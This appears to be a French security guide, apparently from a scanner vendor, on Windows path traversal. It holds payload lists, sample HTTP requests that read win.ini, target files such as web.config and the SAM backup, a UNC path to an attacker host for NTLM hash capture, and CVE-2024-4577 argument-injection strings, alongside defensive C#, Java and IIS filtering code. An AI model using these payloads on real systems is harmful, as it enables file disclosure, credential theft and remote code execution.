Utilise des séquences de traversée spécifiques à Windows (..\ ou ../) et des encodages alternatifs pour traverser des répertoires sur des systèmes de fichiers Windows.
TL;DR
/ et \ — le double de la surface d'encodage vs. Linux\\attacker\share déclenchent une fuite de hash NTLM depuis le processus serveur..;/ (CVE-2025-55752) échappe aux règles WAF vérifiant ../getCanonicalPath() en Java, Path.resolve() en .NET — pas la normalisation des antislashsLe path traversal Windows (CWE-22) exploite les sémantiques du système de fichiers spécifiques à Windows qui créent une surface d'attaque plus large que le path traversal Linux. Windows accepte à la fois le slash avant / et l'antislash \ comme séparateurs de répertoire. Les APIs Win32 normalisent les séparateurs de chemin, développent les variables d'environnement, gèrent les alias de noms de fichiers courts 8.3 et traitent les chemins UNC — chacun crée un vecteur de contournement qui n'existe pas sur les systèmes Unix.
Sous OWASP A01:2021, le path traversal Windows cible le plus souvent les serveurs web IIS, les applications ASP.NET et les configurations PHP-CGI sur Windows. La classe de vulnérabilité a retrouvé une attention renouvelée en 2024 avec CVE-2024-4577 (injection d'arguments Windows PHP-CGI, CVSS 9.8, exploitée par le ransomware TellYouThePass dans les 48 heures) et la chaîne TOCTOU Apache Tomcat (CVE-2024-50379, CVSS 9.8) sur les systèmes de fichiers NTFS insensibles à la casse.
La distinction principale d'avec la traversée Linux est la surface d'encodage : un filtre centré Linux qui bloque la traversée / peut laisser passer la traversée \, et vice versa. Un test de traversée Windows complet doit couvrir les deux séparateurs, leurs formes encodées et les constructions de chemin spécifiques à Windows incluant les chemins UNC, les Alternate Data Streams, les alias de noms de fichiers 8.3 et la syntaxe de paramètre de chemin Tomcat.
Windows résout les segments .. indépendamment qu'ils utilisent / ou \ :
GET /download?file=..\..\..\..\Windows\win.ini HTTP/1.1
Host: iis-server.example.com
HTTP/1.1 200 OK
Content-Type: application/octet-stream
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1GET /download?file=..%5c..%5c..%5c..%5cWindows%5cwin.ini HTTP/1.1
Host: iis-server.example.com
HTTP/1.1 200 OK
; for 16-bit app support
[fonts]L'encodage %5c pour l'antislash échappe aux filtres vérifiant l'antislash littéral mais passe les filtres conçus pour Linux qui ne vérifient que %2f ou /.
Antislash littéral : ..\..\..\..\Windows\win.ini
Antislash encodé : ..%5c..%5c..%5cWindows%5cwin.ini
Séparateurs mixtes : ../\../\..\Windows/win.ini
Double encodé : ..%255c..%255c..%255cWindows%255cwin.ini
Slash-antislash mixte : ..%2f..%5c..%2f..%5cWindows%5cwin.ini
Paramètres Tomcat : ..;/..;/..;/..;/Windows/win.iniLes chemins UNC Windows déclenchent des connexions réseau sortantes depuis le serveur :
GET /download?file=\\attacker.com\share\file.txt HTTP/1.1
Host: windows-server.example.comLe serveur Windows initie une connexion SMB vers attacker.com pour résoudre le chemin UNC. Cette tentative d'authentification SMB inclut le hash NTLM du serveur — capturable avec Responder ou ntlmrelayx d'Impacket. Le hash du compte machine du serveur peut ensuite être relayé vers d'autres systèmes internes pour le mouvement latéral.
NTFS supporte des flux nommés sur les fichiers, permettant plusieurs fourches de données sous un même nom de fichier :
GET /files/report.pdf::$DATA HTTP/1.1
GET /config/web.config::$DATA HTTP/1.1Le suffixe ::$DATA lit le flux de données par défaut. Certaines configurations IIS et d'anciennes applications ASP ne supprimaient pas ce spécificateur de flux, permettant aux attaquants de lire le code source des fichiers ASP/ASPX en ajoutant ::$DATA — la réponse retourne la source brute plutôt qu'exécuter le fichier.
GET /login.asp::$DATA HTTP/1.1
Host: legacy-iis.example.com
HTTP/1.1 200 OK
Content-Type: text/html
<%
Dim strConn
strConn = "Provider=SQLOLEDB;Data Source=db-server;..." & _
"User ID=webapp;Password=S3cr3tDB!"
%>| Variante | Payload | Cible | Impact |
|---|---|---|---|
| Traversée antislash | ..\..\Windows\win.ini | N'importe quelle app Windows | Confirmation d'accès au système de fichiers |
| Antislash encodé | ..%5c..%5cWindows%5cwin.ini | Contournement filtre Linux uniquement | Identique, échappe au filtre / |
| Lecture web.config | ..\..\inetpub\wwwroot\web.config | IIS/ASP.NET | Chaînes de connexion DB, secrets app |
| Sauvegarde SAM | ..\..\Windows\repair\SAM | Serveurs accessibles admin | Hashes de mots de passe NT |
| Injection UNC | \\attacker\share\trigger | Pile SMB Windows | Capture de hash NTLM, relay |
| Contournement ADS | file.asp::$DATA | IIS hérité | Divulgation code source ASP |
| Alias 8.3 | PROGRA~1\secret.txt | Filtres sur les longs chemins | Contournement alias nom court |
Tomcat ..;/ | ..;/..;/WEB-INF/web.xml | Paramètre de chemin Tomcat | Contournement WAF, lecture web.xml |
| Fichier | Marqueur de confirmation | Impact |
|---|---|---|
C:\Windows\win.ini | [fonts], [extensions] | Confirmation d'accès au système de fichiers |
C:\inetpub\wwwroot\web.config | <connectionStrings>, <appSettings> | Credentials DB, clés API, secrets auth |
C:\Windows\System32\drivers\etc\hosts | 127.0.0.1 localhost | Énumération des noms d'hôtes internes |
C:\Windows\repair\SAM | Binaire (format hash NT) | Crackage hors ligne des hashes NT |
C:\inetpub\logs\LogFiles\W3SVC1\*.log | Format de log IIS | Empoisonnement de logs pour RCE ASP/ASP.NET |
C:\Program Files\app\config.xml | Spécifique à l'application | Fichiers de credentials spécifiques à l'app |
CVE-2024-4577 — PHP-CGI Windows Best-Fit Argument Injection (CVSS 9.8) : découvert par Devcore en juin 2024. Windows utilise le mappage de caractères "Best-Fit" lors de la conversion entre pages de code : le caractère Soft Hyphen (Unicode 0xAD) mappe vers Hyphen-Minus (0x2D, le caractère -) sous l'encodage cp932 (japonais). Apache HTTP Server échappe 0x2D dans les arguments CGI mais n'échappe pas 0xAD. PHP-CGI applique la normalisation d'encodage Best-Fit Windows, convertissant 0xAD en 0x2D et l'interprétant comme délimiteur d'argument de ligne de commande PHP-CGI. Les attaquants envoient une requête contenant des "tirets" encodés 0xAD pour injecter des arguments PHP-CGI arbitraires : -d allow_url_include=1 -d auto_prepend_file=php://input. Cela réalise du RCE non authentifié sans aucune traversée de fichier. Le ransomware TellYouThePass, le RAT Gh0st et les cryptomineurs RedTail ont weaponisé la vulnérabilité dans les 48 heures suivant la divulgation. CISA l'a ajouté au catalogue KEV. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
CVE-2024-50379 — Apache Tomcat TOCTOU sur Windows (CVSS 9.8) : le servlet par défaut de Tomcat, quand les opérations d'écriture sont activées, effectue une race condition time-of-check time-of-use lors de la compilation JSP sur des systèmes de fichiers insensibles à la casse (Windows NTFS). Un attaquant envoie des requêtes PUT partielles concurrentes qui manipulent la fenêtre de timing de résolution de chemin pour écraser des fichiers JSP dans la racine de l'application web. Le JSP écrasé contient du code contrôlé par l'attaquant exécuté par Tomcat quand la prochaine requête frappe le fichier. Une atténuation incomplète CVE-2024-56337 a été divulguée une semaine plus tard — la correction nécessitait une configuration explicite de propriété système JVM non documentée dans l'avis initial.
CVE-2024-38472 — Apache HTTP Server UNC Path Coercion (Windows) : partie du cluster "Confusion Attacks" d'Orange Tsai présenté à DEF CON 32. La fonction apr_filepath_merge() d'Apache sur Windows ne rejetait pas les préfixes de chemin UNC dans les composants URI. Un attaquant envoyait %5C%5Cattacker-server/path dans un URI de requête, faisant initier par Apache une connexion SMB sortante vers attacker-server — faisant fuiter les credentials NTLM du serveur et permettant des attaques de relay. CVSS 7.5.
..\..\..\..\Windows\win.ini. Confirmer avec [fonts] dans la réponse...%5c..%5c..%5cWindows%5cwin.ini.../\../\..\Windows/win.ini.web.config : ..\..\inetpub\wwwroot\web.config — confirmer avec <connectionStrings> ou <appSettings>...;/..;/..;/WEB-INF/web.xml.::$DATA aux chemins de fichiers .asp, .aspx ou .config.\\attacker-controlled-host\test dans le paramètre de chemin déclenche une connexion SMB sortante (utiliser Responder en mode écoute).BreachVex inclut des variantes de payload spécifiques à Windows : ..%5c..%5c..%5c (antislash encodé), ..\..\..\..\Windows\win.ini (antislash littéral) et ..;/..;/..;/..;/..;/..;/..;/ (contournement par paramètre de chemin Tomcat, CVE-2025-55752). Les marqueurs de fichier Windows ([fonts] pour win.ini, <connectionStrings> pour web.config) sont dans la porte de contenu. Le test d'injection de chemin UNC nécessite une configuration de capture réseau en dehors du flux de scan standard.
// C# / ASP.NET — Path.GetFullPath normalise à la fois / et \ et résout ..
using System.IO;
private static readonly string BASE_DIR =
Path.GetFullPath(@"C:\inetpub\wwwroot\uploads\");
public byte[] SafeReadFile(string userInput)
{
// GetFullPath résout les séparateurs / et \ et les séquences ..
string resolved = Path.GetFullPath(Path.Combine(BASE_DIR, userInput));
// La comparaison de chaîne est insensible à la casse sur Windows
if (!resolved.StartsWith(BASE_DIR, StringComparison.OrdinalIgnoreCase))
{
throw new UnauthorizedAccessException("Path traversal bloqué");
}
return File.ReadAllBytes(resolved);
}// Java sur Windows — getCanonicalFile gère les deux séparateurs
import java.io.*;
import java.nio.file.*;
public byte[] safeDownload(String userInput) throws IOException {
File base = new File("C:\\inetpub\\wwwroot\\uploads\\").getCanonicalFile();
File requested = new File(base, userInput).getCanonicalFile();
// toPath().startsWith() effectue une comparaison tenant compte des composants de chemin
if (!requested.toPath().startsWith(base.toPath())) {
throw new SecurityException("Tentative de path traversal bloquée");
}
return Files.readAllBytes(requested.toPath());
}Sur Windows, la comparaison de chemin doit être insensible à la casse. Un filtre qui rejette C:\Windows\win.ini mais laisse passer c:\windows\win.ini est contourné par une variation de casse. Utiliser StringComparison.OrdinalIgnoreCase dans .NET et equalsIgnoreCase dans les comparaisons de chemin Java. Path.GetFullPath dans .NET et getCanonicalFile dans Java normalisent tous deux la casse pour vous.
// Rejeter explicitement les chemins UNC et les lettres de lecteur Windows dans l'entrée utilisateur
private static void ValidateInputNotUNC(string userInput)
{
if (userInput.StartsWith(@"\\") || userInput.StartsWith(@"//"))
throw new ArgumentException("Les chemins UNC ne sont pas autorisés");
// Rejeter les lettres de lecteur (C:, D:, etc.)
if (userInput.Length >= 2 && userInput[1] == ':')
throw new ArgumentException("Les chemins avec lettre de lecteur ne sont pas autorisés");
}Dans la configuration IIS, définir allowDoubleEscaping="false" (par défaut dans IIS 7+) et configurer le filtrage des requêtes pour rejeter les chemins contenant :: :
<!-- web.config — filtrage des requêtes IIS -->
<system.webServer>
<security>
<requestFiltering allowDoubleEscaping="false">
<denyStrings>
<add string="::" />
<add string="%3a%3a" />
</denyStrings>
</requestFiltering>
</security>
</system.webServer>Le contournement par paramètre de chemin Tomcat ..;/ (CVE-2025-55752) est bloqué en mettant à jour vers la version Tomcat corrigée et en activant la validation stricte des chemins. Les règles WAF qui ne vérifient que ../ manquent cette variante. Si vous ne pouvez pas patcher immédiatement, configurer allowBackslash="false" et rejectIllegalHeader="true" dans server.xml de Tomcat comme atténuation partielle.
Windows accepte à la fois / et \ comme séparateurs de chemin, créant le double de la surface d'encodage. Windows supporte aussi les chemins UNC (\\server\share), les Alternate Data Streams (file.txt::$DATA), les alias de noms de fichiers courts 8.3 (PROGRA~1 pour Program Files) et les noms de périphériques réservés (CON, NUL, PRN). Chacun crée des vecteurs de contournement qui n'existent pas sur les systèmes Linux.
C:\Windows\win.ini confirme l'accès au système de fichiers (marqueur : [fonts]). C:\inetpub\wwwroot\web.config expose les chaînes de connexion ASP.NET et les secrets de l'application. C:\Windows\System32\drivers\etc\hosts révèle les mappages DNS internes. C:\Windows\repair\SAM (et l'équivalent sur la copie shadow VSS) contient des hashes de mots de passe NT de sauvegarde. Les fichiers de log IIS dans C:\inetpub\logs\LogFiles\W3SVC1\ peuvent être utilisés pour l'empoisonnement de logs sur Windows si l'exécution ASP/ASP.NET est disponible.
CVE-2024-4577 (CVSS 9.8, PHP-CGI sur Windows) exploite l'encodage de caractères Best-Fit de Windows. Le caractère Soft Hyphen (0xAD) est mappé vers Hyphen/Minus (0x2D) par le sous-système d'encodage Windows. Apache échappe 0x2D mais pas 0xAD. PHP-CGI applique le mappage Best-Fit, convertissant 0xAD en 0x2D et le traitant comme délimiteur d'argument CLI (-). Cela permet l'injection d'arguments PHP-CGI comme -d allow_url_include=1 -d auto_prepend_file=php://input, réalisant du RCE. Il est classifié comme injection de chemin/argument via la normalisation d'encodage Windows.
CVE-2024-50379 (CVSS 9.8) est une race condition TOCTOU (Time-of-Check Time-of-Use) dans Apache Tomcat sur Windows avec des systèmes de fichiers insensibles à la casse. Lors de la compilation JSP, Tomcat vérifie le chemin à un moment et l'utilise à un autre. Un attaquant utilise des uploads PUT partiels pour manipuler la fenêtre de résolution de chemin, écrasant des fichiers JSP avec du contenu malveillant qui s'exécute comme RCE quand le JSP est servi. La correction incomplète CVE-2024-56337 nécessitait une configuration explicite de propriété système JVM.
Le contournement de paramètre de chemin Tomcat CVE-2025-55752 utilise des point-virgules comme délimiteurs de chemin spécifiques à Tomcat. Le chemin de requête /..;/..;/..;/admin/config est analysé par Tomcat comme /..;/ = /../ (les point-virgules introduisent des paramètres de chemin que Tomcat normalise). Cela crée une séquence de traversée que les WAFs et filtres vérifiant ../ peuvent manquer car ils ne tiennent pas compte de la syntaxe de paramètre de chemin Tomcat.
Les chemins UNC (Universal Naming Convention) commencent par \\server\share et référencent des fichiers sur des partages de fichiers Windows distants. Une application qui passe des chemins fournis par l'utilisateur aux APIs du système de fichiers Windows sans filtrer les préfixes UNC peut envoyer une tentative d'authentification NTLM vers un serveur contrôlé par l'attaquant (\\attacker\share), faisant fuiter le hash NTLM du serveur. Cela convertit une vulnérabilité de path traversal en vol de credentials ou attaque de relay.
Windows NTFS supporte des flux de données nommés sur les fichiers. Chaque fichier a un flux par défaut ($DATA) plus des flux nommés optionnels. La syntaxe file.txt::$DATA lit le contenu brut du fichier. Un attaquant qui peut spécifier ::$DATA ajouté à un nom de fichier peut contourner les vérifications de type de contenu basées sur l'extension — certains filtres vérifient l'extension avant ::$DATA et ne tiennent pas compte du spécificateur de flux. Cela peut servir de contournement d'extension sur les applications hébergées par IIS.
BreachVex inclut des variantes de payload spécifiques à Windows dans son prouveur LFI étendu : ..%5c..%5c..%5c (antislash encodé), ..\..\..\Windows\win.ini (antislash littéral) et des séquences slash/antislash mixtes. La confirmation de fichier Windows utilise des marqueurs : [fonts] ou [extensions] pour win.ini, <connectionStrings> pour web.config. Le motif Tomcat ..;/ est aussi dans l'ensemble de payloads (CVE-2025-55752).